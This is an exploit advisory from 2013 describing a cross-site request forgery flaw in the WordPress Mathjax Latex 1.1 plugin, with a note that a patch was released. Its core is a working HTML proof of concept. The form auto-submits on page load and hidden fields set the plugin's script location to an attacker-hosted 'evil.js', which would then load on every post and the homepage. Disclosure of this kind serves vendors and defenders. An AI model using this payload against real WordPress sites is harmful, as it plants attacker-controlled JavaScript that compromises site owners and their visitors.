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Wordpress Mathjax Latex 1.1 CSRF Vulnerability

Author
Junaid Hussain
Risk
[
Security Risk Low
]
0day-ID
0day-ID-20566
Category
web applications
Date add
25-03-2013
Platform
php
# Title: Wordpress Mathjax Latex 1.1 Cross-Site Request Forgery Vulnerability
# Release Date: 25/03/13
# Author: Junaid Hussain [ illSecure Research Group ] 
# Contact: illSecResearchGroup@Gmail.com | Website: illSecure.com
# Software Link: http://downloads.wordpress.org/plugin/mathjax-latex.1.1.zip
# Tested on CentOs 5 - Wordpress Version 3.5
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There is no CSRF protection on the mathjax option page. This allows an attacker to specify arbitrary 
javascript that will be loaded with each post and also loaded onto the homepage of the wordpress blog
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//##### CSRF - Proof Of Concept:
<html>
<body onload="javascript:document.forms[0].submit()">
<form id="mathjaxlatex" name="mathjaxlatex" action="http://[DOMAINNAME]/wp-admin/options-general.php?page=mathjax-latex.php" method='POST'>
<input type="hidden" name="mathjax_hidden" style="display:none;" value="Y">
<input type="checkbox" name="force_load" style="display:none;" value="1"CHECKED/>
<input type="checkbox" name="default_disabled" style="display:none;" value="1"CHECKED/>
<input type='textbox' name='mathjax_location' class='regular-text code' value='http://illsecure.com/code/evil.js' style="display:none;"/>       
</form>
</html>
----------------------------------------------------------------------------------------------------------
//##### Patch:
The Vendor Was notified and a patch was released:
--- Patched Version: http://downloads.wordpress.org/plugin/mathjax-latex.1.2.1.zip
--- See ChangeLog: http://wordpress.org/extend/plugins/mathjax-latex/changelog/
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Contact: illSecResearchGroup@gmail.com 
- Junaid Hussain
- http://illsecure.com
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